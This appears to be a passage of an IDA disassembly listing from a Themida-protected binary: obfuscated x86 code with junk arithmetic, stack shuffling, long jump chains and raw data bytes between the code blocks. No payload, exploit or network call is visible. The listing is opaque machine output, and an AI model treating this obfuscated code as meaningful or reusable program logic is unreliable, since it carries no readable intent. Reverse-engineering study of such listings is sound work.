loc_5A3790:				; CODE XREF: Themida_:005A783Bj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_599A28
; ---------------------------------------------------------------------------
		db 56h
		dd 2010B850h, 75BE05C4h, 0E973F219h, 0FFFF52E1h
; ---------------------------------------------------------------------------


loc_5A37AC:				; CODE XREF: Themida_:0059B7DFj
		mov	esp, [esp]
		jmp	loc_5A5A73
; ---------------------------------------------------------------------------


loc_5A37B4:				; CODE XREF: Themida_:005A822Ej
		sub	esp, 4
		jmp	loc_5AE218
; ---------------------------------------------------------------------------


loc_5A37BF:				; CODE XREF: Themida_:005ADD50j
		add	esp, 4
		shr	esi, 6
		push	ecx
		mov	ecx, 31D37857h
		shl	ecx, 6
		neg	ecx
		jmp	loc_5995DF
; ---------------------------------------------------------------------------
		dd 34FFC608h, 24048B24h, 4C481h, 0C4830000h, 0F8B35304h
		dd 0E3C0CBFEh, 0E9CBFE07h, 5C06h, 13240481h, 571B531Dh
		dd 381C15BFh, 9ACBE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A380A:				; CODE XREF: Themida_:0059EB39j
		sub	eax, 7324145Eh
		shr	eax, 6
		jmp	loc_5A33AF
; ---------------------------------------------------------------------------


loc_5A3817:				; CODE XREF: Themida_:005A4649j
		push	546E1FEEh
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 3B1FC3ECh
		jmp	loc_5A2AAE
; ---------------------------------------------------------------------------


loc_5A3835:				; CODE XREF: Themida_:0059BF33j
					; Themida_:005A48B5j
		mov	eax, 30C27975h
		add	eax, 3F000540h
		sub	eax, 6BD2712Bh
		jmp	loc_5AD9F7
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 7E2Bh
; ---------------------------------------------------------------------------


loc_5A3850:				; CODE XREF: Themida_:00599609j
		pop	edi
		pop	ecx
		jmp	loc_5A6B16
; ---------------------------------------------------------------------------


loc_5A3857:				; CODE XREF: Themida_:0059A656j
		add	eax, edx
		add	eax, 1C0F4906h
		pop	edx
		add	ebx, 54A66399h
		jmp	loc_5AC4D2
; ---------------------------------------------------------------------------


loc_5A386A:				; CODE XREF: Themida_:005AD681j
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A2765
; ---------------------------------------------------------------------------


loc_5A3879:				; CODE XREF: Themida_:005AC120j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A6868
; ---------------------------------------------------------------------------


loc_5A388E:				; CODE XREF: Themida_:005AEEC0j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6F6h
		mov	[esp], ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A38BF:				; CODE XREF: Themida_:0059D003j
		xor	ebx, 65009F4h
		and	eax, ebx
		jmp	loc_59C219
; ---------------------------------------------------------------------------
		dd 52240489h, 8FAE9h, 38DD6800h, 0C890000h, 7A816824h
		dd 0F1E90000h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A38E7:				; CODE XREF: Themida_:0059B696j
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A6157
; ---------------------------------------------------------------------------


loc_5A38F7:				; CODE XREF: Themida_:0059FAD0j
		sub	bl, 88h
		add	bl, al
		add	bl, 88h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A2BA3
; ---------------------------------------------------------------------------


loc_5A390A:				; CODE XREF: Themida_:005ACBB9j
		shr	eax, 18h
		jmp	loc_5A6BA4
; ---------------------------------------------------------------------------


loc_5A3912:				; CODE XREF: Themida_:005A6F68j
					; Themida_:005A8137j
		push	6C0818D8h
		jmp	loc_5A833D
; ---------------------------------------------------------------------------


loc_5A391C:				; CODE XREF: Themida_:00599547j
		push	ecx
		mov	ch, 0C3h
		mov	bl, 0Fh
		sub	bl, ch
		pop	ecx
		shl	bl, 2
		sub	esp, 2
		mov	[esp], bx
		inc	byte ptr [esp]
		pop	bx
		and	bl, 0B1h
		not	bl
		sub	bl, 73h
		add	al, 76h
		sub	al, bl
		jmp	loc_5AD5B3
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: Themida_:005A64CAj
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5A2184
; ---------------------------------------------------------------------------


loc_5A3950:				; CODE XREF: Themida_:005A812Ej
		shl	ebx, 5
		jmp	loc_599D59
; ---------------------------------------------------------------------------


loc_5A3958:				; CODE XREF: Themida_:0059C091j
		push	ebp
		push	ecx
		mov	ecx, 2B063D38h
		mov	ebp, ecx
		jmp	loc_5A8C19
; ---------------------------------------------------------------------------


loc_5A3966:				; CODE XREF: Themida_:005993D5j
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_5A47CA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 28F86824h, 34890000h, 9F09E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A398A:				; CODE XREF: Themida_:0059E87Bj
		add	ecx, 29471047h
		pop	edx
		jmp	loc_5A2ED3
; ---------------------------------------------------------------------------


loc_5A3996:				; CODE XREF: Themida_:005A654Bj
		push	ebp
		jmp	loc_59CDAD
; ---------------------------------------------------------------------------


loc_5A399C:				; CODE XREF: Themida_:0059BE58j
					; Themida_:005A679Bj
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		push	51E3h
		mov	[esp], esp
		jmp	loc_5A1680
; ---------------------------------------------------------------------------


loc_5A39AF:				; CODE XREF: Themida_:005A79CEj
					; Themida_:loc_5A914Dj
		xor	ecx, 2D50249Ch
		jmp	loc_5A5B7F
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 14875BDAh,	24248B24h, 55D0E9h, 25E95500h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A39D3:				; CODE XREF: Themida_:005A30D6j
		mov	ecx, 47870C74h
		jmp	loc_5A9CF5
; ---------------------------------------------------------------------------


loc_5A39DD:				; CODE XREF: Themida_:0059B859j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A0777
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF499Ch, 0F46CC80h, 0AE3E87h, 14BAE900h, 2B2D0000h
		dd 8A6EB400h
		db 0CFh
; ---------------------------------------------------------------------------


loc_5A3A05:				; CODE XREF: Themida_:005A6B53j
		xor	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59D03B
; ---------------------------------------------------------------------------


loc_5A3A14:				; CODE XREF: Themida_:005A7CC1j
		sub	esp, 2
		mov	[esp], bx
		push	edx
		mov	dh, 4Bh
		jmp	loc_5AE4DE
; ---------------------------------------------------------------------------


loc_5A3A26:				; CODE XREF: Themida_:0059D942j
		sub	edx, 6FA40152h
		jmp	loc_5A78B0
; ---------------------------------------------------------------------------


loc_5A3A31:				; CODE XREF: Themida_:005AAEC8j
		mov	edx, [esp]
		jmp	loc_5A673C
; ---------------------------------------------------------------------------


loc_5A3A39:				; CODE XREF: Themida_:0059AA5Ej
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A9075
; ---------------------------------------------------------------------------


loc_5A3A49:				; CODE XREF: Themida_:005A60F1j
		neg	ebx
		sub	ebx, 12201BABh
		jbe	loc_5A78A2
		add	ebx, 868D5FF1h
		mov	esi, ebx
		pop	ebx
		mov	edx, 4C6A443Ch
		xor	edx, esi
		pop	esi
		add	esi, 4E5649Bh
		jmp	loc_5A5EF0
; ---------------------------------------------------------------------------


loc_5A3A73:				; CODE XREF: Themida_:0059BC46j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A3A78:				; CODE XREF: Themida_:005AC52Bj
		mov	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59DF8C
; ---------------------------------------------------------------------------
		dd 60E9D800h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3A8F:				; CODE XREF: Themida_:005A10FCj
		push	edx
		mov	dl, 0CCh
		inc	dl
		and	dl, 90h
		add	dl, 14h
		add	al, dl
		pop	edx
		jmp	loc_5AC2F9
; ---------------------------------------------------------------------------


loc_5A3AA2:				; CODE XREF: Themida_:005AD1BCj
		mov	ebx, 45AD1F6Eh
		push	edx
		mov	edx, 2CFC0154h
		jmp	loc_5AD886
; ---------------------------------------------------------------------------
		dd offset dword_443380+1E8h
		dw 8900h
		dd 0BB53240Ch, 3C0F4FF8h, 8B3A2AB9h, 5BD93155h,	75CEE981h
		dd 6D056984h, 0E9100D2Eh, 21Fh
; ---------------------------------------------------------------------------


loc_5A3AD8:				; CODE XREF: Themida_:005A6395j
		mov	ch, dh
		mov	bh, ch
		pop	ecx
		pop	edx
		xor	al, bh
		mov	bx, [esp]
		push	45DDh
		jmp	loc_59ADEC
; ---------------------------------------------------------------------------


loc_5A3AEE:				; CODE XREF: Themida_:0059D083j
		not	ebx
		xor	ebx, 87C32A4h
		jmp	loc_59F510
; ---------------------------------------------------------------------------


loc_5A3AFB:				; CODE XREF: Themida_:005A695Dj
					; Themida_:005A91AEj
		pop	ebx
		jmp	loc_5A0DC4
; ---------------------------------------------------------------------------


loc_5A3B01:				; CODE XREF: Themida_:005AB45Ej
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	6F40h
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A3B1A:				; CODE XREF: Themida_:005A93F2j
		mov	bh, dh
		pop	edx
		add	bh, 0F4h
		jmp	loc_59D4F8
; ---------------------------------------------------------------------------
aN1Sqn		db '­1Ψ韍',0
		db 0
; ---------------------------------------------------------------------------


loc_5A3B2D:				; CODE XREF: Themida_:0059A1D1j
		mov	ebp, 24F083CBh
		sub	eax, 1AA31A3h
		sub	eax, ebp
		push	6376h
		mov	[esp], ebx
		jmp	loc_5A4C9D
; ---------------------------------------------------------------------------
		dw 5D51h
		dd 0FF2434FFh, 34FF2434h, 3359E924h, 0E95C0000h, 2B3Fh
; ---------------------------------------------------------------------------


loc_5A3B5C:				; CODE XREF: Themida_:005A5F5Bj
					; Themida_:005A81F3j
		add	edx, edi
		jmp	loc_59CDBF
; ---------------------------------------------------------------------------
		db 0B3h
		dd 76F3805Ch, 805BDE28h, 0E62875C6h, 5175EE80h,	0C58021B5h
		dd 4BA3E95Fh, 34FF0000h, 0C4815B24h, 4,	36B45052h, 8033B353h
		dd 0E8E9F5EBh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A3B97:				; CODE XREF: Themida_:0059E9E4j
		mov	esi, 2988565Dh
		push	edi
		mov	edi, 2C22462Dh
		add	esi, edi
		pop	edi
		shr	esi, 8
		jmp	loc_5A2C66
; ---------------------------------------------------------------------------


loc_5A3BAD:				; CODE XREF: Themida_:005AC583j
		mov	[esp], edx
		push	ecx
		mov	cl, 59h
		mov	dh, cl
		pop	ecx
		or	dh, 93h
		and	dh, 90h
		or	dh, 0C9h
		push	bx
		mov	bh, 8Dh
		sub	dh, 0F5h
		sub	dh, bh
		add	dh, 0F5h
		pop	bx
		jmp	loc_599533
; ---------------------------------------------------------------------------


loc_5A3BD2:				; CODE XREF: Themida_:0059F4DFj
		push	4418h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_59E0FB
; ---------------------------------------------------------------------------


loc_5A3BE7:				; CODE XREF: Themida_:0059C1DAj
		mov	[esp], ebx
		push	eax
		jmp	loc_59F295
; ---------------------------------------------------------------------------


loc_5A3BF0:				; CODE XREF: Themida_:005A4EE4j
		mov	ch, 0A3h
		sub	ch, 21h
		jmp	loc_5ABB7C
; ---------------------------------------------------------------------------


loc_5A3BFA:				; CODE XREF: Themida_:005A164Dj
		pop	ecx
		sub	esp, 4
		jmp	loc_5AD349
; ---------------------------------------------------------------------------


loc_5A3C06:				; CODE XREF: Themida_:0059AAB2j
		push	esi
		mov	esi, 51B71960h
		push	ebp
		mov	ebp, 295A3063h
		xor	esi, ebp
		jmp	loc_59A74F
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0CEh
		dd 0AFBC681h, 0C8B2F4Dh, 5F545724h, 4C781h, 0C7830000h
		dd 8BF6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3C36:				; CODE XREF: Themida_:005A5A62j
		mov	ebp, 0FCC36F7h
		shl	ebp, 6
		and	ebp, 0E2954D0h
		dec	ebp
		push	eax
		mov	eax, 0B2191D2Dh
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		push	eax
		pop	dword ptr [edi+20h]
		pop	eax
		push	6FF6h
		mov	[esp], esi
		push	234Ah
		mov	[esp], edi
		push	127A02C1h
		jmp	loc_5A2A57
; ---------------------------------------------------------------------------


loc_5A3C70:				; CODE XREF: Themida_:005A0662j
					; Themida_:005A4509j
		and	dh, 0F7h
		push	eax
		mov	al, 5Ch
		xor	al, 0A8h
		jmp	loc_5AEFDE
; ---------------------------------------------------------------------------


loc_5A3C7D:				; CODE XREF: Themida_:005AC0B1j
		pop	eax
		sub	esp, 4
		jmp	loc_5A94F5
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 42EE2A19h, 0C281D2F7h, 7DBC6636h, 335AD029h,	4312404h
		dd 24043324h, 8924248Bh, 0BEBD242Ch, 0E9383863h, 0FFFFC3C1h
		dd 2C481h, 83E90000h, 31FFFFD1h, 18E9243Ch, 8BFFFFCBh
		dd 0C4812404h, 4, 0FF9640E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3CD1:				; CODE XREF: Themida_:0059F866j
		dec	edi
		jl	loc_5AF3DD
		xor	edi, ebx
		jmp	loc_5A9AEB
; ---------------------------------------------------------------------------
		db 1
		dd 76FB2DC8h, 0E9595D5Eh, 0FFFFA98Ah
; ---------------------------------------------------------------------------


loc_5A3CEC:				; CODE XREF: Themida_:005A1AA3j
		jg	loc_5A34F9
		jmp	loc_5A152D
; ---------------------------------------------------------------------------
		db 1
		dd 2E6D2DC8h, 8359100Dh, 348904ECh, 4A685524h, 5D01FA01h
		dd 148ED81h, 5E5501FAh,	0E9F0015Dh, 0FFFF602Ch,	4EC81h
		dd 31E90000h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3D27:				; CODE XREF: Themida_:005A1AF4j
		push	47B7h
		jmp	loc_59ABDD
; ---------------------------------------------------------------------------


loc_5A3D31:				; CODE XREF: Themida_:005A849Dj
		sub	esp, 4
		jmp	loc_5AB6C4
; ---------------------------------------------------------------------------


loc_5A3D3C:				; CODE XREF: Themida_:0059850Bj
		push	edx
		jmp	loc_5A5866
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4ECh, 24148900h, 0F9E23FBAh,	0F852E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3D56:				; CODE XREF: Themida_:0059BEC7j
					; Themida_:0059F85Bj ...
		pop	ebx
		sub	edx, 62E73DEEh
		sub	ebx, edx
		pop	edx
		sub	ebx, 30F700BBh
		and	ebx, 265F3290h
		push	edi
		mov	edi, 220A208Ch
		jmp	loc_5983C3
; ---------------------------------------------------------------------------


loc_5A3D77:				; CODE XREF: Themida_:005A2119j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_599D51
; ---------------------------------------------------------------------------


loc_5A3D82:				; CODE XREF: Themida_:005A6B1Aj
		add	ebx, 0F5A70B16h
		push	edi
		mov	edi, ebx
		mov	eax, edi
		jmp	loc_5A991F
; ---------------------------------------------------------------------------


loc_5A3D92:				; CODE XREF: Themida_:005ABC0Cj
		add	eax, 42955775h
		mov	ebp, eax
		jmp	loc_59EC9C
; ---------------------------------------------------------------------------


loc_5A3D9E:				; CODE XREF: Themida_:005A46F2j
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 1
		jmp	loc_5A9C90
; ---------------------------------------------------------------------------


loc_5A3DAE:				; CODE XREF: Themida_:005A2E0Fj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5ACD3E
; ---------------------------------------------------------------------------


loc_5A3DC0:				; CODE XREF: Themida_:005AB21Fj
		mov	ecx, esp
		jmp	loc_5A830D
; ---------------------------------------------------------------------------


loc_5A3DC7:				; CODE XREF: Themida_:0059FF67j
		pop	eax
		add	esp, 4
		push	7E88h
		mov	[esp], ebp
		push	0CC5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_5A6A92
; ---------------------------------------------------------------------------


loc_5A3DEE:				; CODE XREF: Themida_:005A16AEj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5A444E
; ---------------------------------------------------------------------------
		dd 240CFF55h, 0A3E9515Dh
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E07:				; CODE XREF: Themida_:005A2103j
		mov	eax, 9D7ABC35h
		jmp	loc_5A8F76
; ---------------------------------------------------------------------------


loc_5A3E11:				; CODE XREF: Themida_:0059FA40j
		push	ebx
		mov	ebx, 21982338h
		push	ebp
		mov	ebp, 1BC75B8Ah
		jmp	loc_5A7B0A
; ---------------------------------------------------------------------------


loc_5A3E22:				; CODE XREF: Themida_:005AA8FAj
		mov	cl, 30h
		xor	al, cl
		mov	ecx, [esp]
		push	3A89h
		mov	[esp], esi
		jmp	loc_5A4BDB
; ---------------------------------------------------------------------------
		dw 7E9h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E3B:				; CODE XREF: Themida_:005A6C27j
		pop	edx
		add	al, ch
		push	ecx
		mov	cl, 0E1h
		dec	cl
		shr	cl, 7
		push	eax
		jmp	loc_598C96
; ---------------------------------------------------------------------------


loc_5A3E4C:				; CODE XREF: Themida_:005A465Dj
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------


loc_5A3E51:				; CODE XREF: Themida_:0059D9D3j
		push	eax
		mov	eax, esp
		push	5C67h
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_5A80E7
; ---------------------------------------------------------------------------


loc_5A3E6E:				; CODE XREF: Themida_:005A8E06j
		pop	ecx
		add	eax, 4
		jmp	loc_5A953C
; ---------------------------------------------------------------------------


loc_5A3E77:				; CODE XREF: Themida_:005993B9j
		idiv	ecx
		push	eax
		jmp	loc_5A6C56
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9535BDEh, 0FFFFFCDBh, 0A347E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3E8E:				; CODE XREF: Themida_:005A8014j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59D37C
; ---------------------------------------------------------------------------


loc_5A3E9F:				; CODE XREF: Themida_:005AF200j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A0673
; ---------------------------------------------------------------------------


loc_5A3EB1:				; CODE XREF: Themida_:005AEA43j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 0EF88FD36h
		add	eax, edx
		pop	edx
		pop	edx
		xor	ebx, eax
		jmp	loc_5A0090
; ---------------------------------------------------------------------------


loc_5A3ECD:				; CODE XREF: Themida_:005987DBj
		pop	edx
		jmp	loc_5AE95E
; ---------------------------------------------------------------------------


loc_5A3ED3:				; CODE XREF: Themida_:005A173Dj
		and	edi, 4BD9747Fh
		jmp	loc_59D53A
; ---------------------------------------------------------------------------


loc_5A3EDE:				; CODE XREF: Themida_:0059ADAFj
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	472Ah
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_5A817B
; ---------------------------------------------------------------------------


loc_5A3EFE:				; CODE XREF: Themida_:005A8F1Bj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		jmp	loc_5999CF
; ---------------------------------------------------------------------------


loc_5A3F09:				; CODE XREF: Themida_:005AE910j
		jnb	loc_5985C3
		jmp	loc_5AA0A4
; ---------------------------------------------------------------------------
		dd 4C481h, 0C870000h, 58BABF24h, 0CF815E15h, 9523756h
		dd 97AA8C0Fh, 0EFC10000h, 98EF8106h, 508428EEh,	3376F868h
		dd 48405812h, 6685E9h, 24248B00h, 0FFD15CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3F4D:				; CODE XREF: Themida_:005A4337j
		push	edx
		jmp	loc_59E713
; ---------------------------------------------------------------------------


loc_5A3F53:				; CODE XREF: Themida_:0059B96Dj
		add	eax, 170A1E07h
		add	eax, ebx
		push	edi
		jmp	loc_5A375A
; ---------------------------------------------------------------------------


loc_5A3F60:				; CODE XREF: Themida_:0059B912j
		jmp	loc_5AC14B
; ---------------------------------------------------------------------------


loc_5A3F65:				; CODE XREF: Themida_:005A6F15j
		push	ebx
		jmp	loc_5A1DE8
; ---------------------------------------------------------------------------


loc_5A3F6B:				; CODE XREF: Themida_:005A776Ej
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AF25D
; ---------------------------------------------------------------------------


loc_5A3F79:				; CODE XREF: Themida_:0059C90Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	ebp
		mov	ebp, 5A255CBBh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 161F03E4h
		push	esi
		mov	esi, 1
		sub	ecx, 6AC87D0Ch
		add	ecx, esi
		add	ecx, 6AC87D0Ch
		push	dword ptr [esp]
		jmp	loc_59CC66
; ---------------------------------------------------------------------------
		db 0BDh, 10h, 6Eh
		dd 0FAE91D85h, 66000050h, 50240C8Bh, 0FF7F73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3FC5:				; CODE XREF: Themida_:005AF108j
		pop	edi
		push	5C6Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59F90F
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF73DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3FE1:				; CODE XREF: Themida_:005A4559j
		mov	[esp], ebx
		mov	eax, [esp]
		push	7F96h
		mov	[esp], eax
		jmp	loc_5A6D39
; ---------------------------------------------------------------------------


loc_5A3FF4:				; CODE XREF: Themida_:0059AC2Aj
		neg	edx
		jns	loc_599FF3
		add	edx, 7AB14EA7h
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		pop	eax
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A991F
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0CB010000h, 83240C8Bh, 1C8704C4h, 4205C24h, 5DE99C24h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A402F:				; CODE XREF: Themida_:005AC8EEj
		sub	dh, 11h
		jmp	loc_5A8CFD
; ---------------------------------------------------------------------------


loc_5A4037:				; CODE XREF: Themida_:005A8C4Bj
		sub	edx, ecx
		pop	ecx
		xor	edx, [esp]
		jmp	loc_59B6B5
; ---------------------------------------------------------------------------


loc_5A4042:				; CODE XREF: Themida_:005AC85Cj
		mov	[esp], ecx
		jmp	loc_59F047
; ---------------------------------------------------------------------------
		dw 1CF6h
		dd 39E99C24h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4053:				; CODE XREF: Themida_:005A70BDj
		mov	ch, dh
		push	dword ptr [esp]
		jmp	loc_59DC3A
; ---------------------------------------------------------------------------


loc_5A405D:				; CODE XREF: Themida_:005A0D07j
		mov	ecx, esp
		jmp	loc_5A7E35
; ---------------------------------------------------------------------------


loc_5A4064:				; CODE XREF: Themida_:005A76B9j
		xor	ebx, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FFFFh
		jmp	loc_59A8EC
; ---------------------------------------------------------------------------


loc_5A4092:				; CODE XREF: Themida_:0059C309j
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5AEAB7
; ---------------------------------------------------------------------------


loc_5A40A4:				; CODE XREF: Themida_:005A62ECj
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A4B8F
; ---------------------------------------------------------------------------


loc_5A40B2:				; CODE XREF: Themida_:005A0DFBj
		add	esp, 4
		sub	ebx, 1AE34439h
		sub	ebx, eax
		add	ebx, 1AE34439h
		push	5E72h
		jmp	loc_5ADEFC
; ---------------------------------------------------------------------------


loc_5A40CD:				; CODE XREF: Themida_:005A1250j
		mov	[esp], edx
		push	5349h
		mov	[esp], eax
		jmp	loc_5A1001
; ---------------------------------------------------------------------------


loc_5A40DD:				; CODE XREF: Themida_:005A2429j
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	ebx
		jmp	loc_5A1D5E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 73177639h, 0DE77C381h, 0DA89C8D0h, 2EC1E9h, 81E68900h
		dd 4C6h, 4C68300h, 0E9243487h, 0FFFF4F83h
; ---------------------------------------------------------------------------


loc_5A410C:				; CODE XREF: Themida_:005A462Aj
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A1478
; ---------------------------------------------------------------------------


loc_5A4128:				; CODE XREF: Themida_:005A8DEDj
		add	edx, ecx
		jmp	loc_5A61BE
; ---------------------------------------------------------------------------


loc_5A412F:				; CODE XREF: Themida_:005989E7j
		pop	ecx
		mov	edi, ebx
		jmp	loc_59E5EF
; ---------------------------------------------------------------------------


loc_5A4137:				; CODE XREF: Themida_:005A02C7j
		add	edx, 6EF64C5Eh
		push	edi
		mov	edi, 23A33C06h
		add	edx, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 29FB28DDh
		add	edx, ecx
		add	edx, 29FB28DDh
		push	ecx
		push	edi
		jmp	loc_5A1DBF
; ---------------------------------------------------------------------------
		dd 8106EDC1h, 0FF0B05CDh, 998B0F46h, 81FFFFE6h,	660F92EDh
		dd 0FF860F15h, 0E9000009h, 3F8Bh
; ---------------------------------------------------------------------------


loc_5A4184:				; CODE XREF: Themida_:005A5BCDj
		add	esp, 4
		and	edx, 779A3364h
		add	edx, 0D8A50EEh
		add	edx, 0FFFFFFFFh
		inc	edx
		sub	edx, 5B6C40DEh
		add	edx, 0CC174F47h
		sub	eax, edx
		pop	edx
		jmp	loc_59D4A7
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F4E906E1h, 28FFFF6Bh, 0F8305AD7h, 0FFF9C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A41BD:				; CODE XREF: Themida_:0059A2DDj
		dec	eax
		xchg	eax, edx
		add	edx, 0FC33E82Ah
		xor	eax, edx
		pop	edx
		xor	ecx, eax
		jmp	loc_5A5C66
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0FEDAF636h, 0A3F280CAh, 0FFA568E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A41DD:				; CODE XREF: Themida_:005A7070j
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 7E7954A2h
		inc	esi
		js	loc_59B811
		neg	esi
		jle	loc_5991FE
		add	esi, 0DF8AB5EDh
		mov	eax, esi
		pop	esi
		xor	ecx, eax


loc_5A4204:				; CODE XREF: Themida_:005AC013j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_5A8FCB
; ---------------------------------------------------------------------------


loc_5A4213:				; CODE XREF: Themida_:0059DB62j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C4D0
; ---------------------------------------------------------------------------


loc_5A4223:				; CODE XREF: Themida_:0059B983j
		xor	edx, [esp]
		pop	esp
		jmp	loc_5A7D56
; ---------------------------------------------------------------------------


loc_5A422C:				; CODE XREF: Themida_:005A04DAj
		xor	ah, dl
		pop	edx
		add	ch, ah
		pop	eax
		jmp	loc_5994E2
; ---------------------------------------------------------------------------


loc_5A4237:				; CODE XREF: Themida_:0059B541j
		add	eax, 4
		jmp	loc_59D9D8
; ---------------------------------------------------------------------------


loc_5A4241:				; CODE XREF: Themida_:005AC2DDj
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5AF3F1
; ---------------------------------------------------------------------------


loc_5A424E:				; CODE XREF: Themida_:005A32A9j
		mov	edi, 61A50C59h
		neg	edi
		sub	edi, 9E5AF3A3h
		jmp	loc_5A295B
; ---------------------------------------------------------------------------


loc_5A4260:				; CODE XREF: Themida_:005AF1D0j
		mov	ecx, 4
		jmp	loc_5A31D8
; ---------------------------------------------------------------------------


loc_5A426A:				; CODE XREF: Themida_:00599BE4j
		push	ecx
		mov	ecx, 66DD34ADh
		jmp	loc_5A5258
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0D3h
		dd 0E900000Eh, 28FEh
; ---------------------------------------------------------------------------


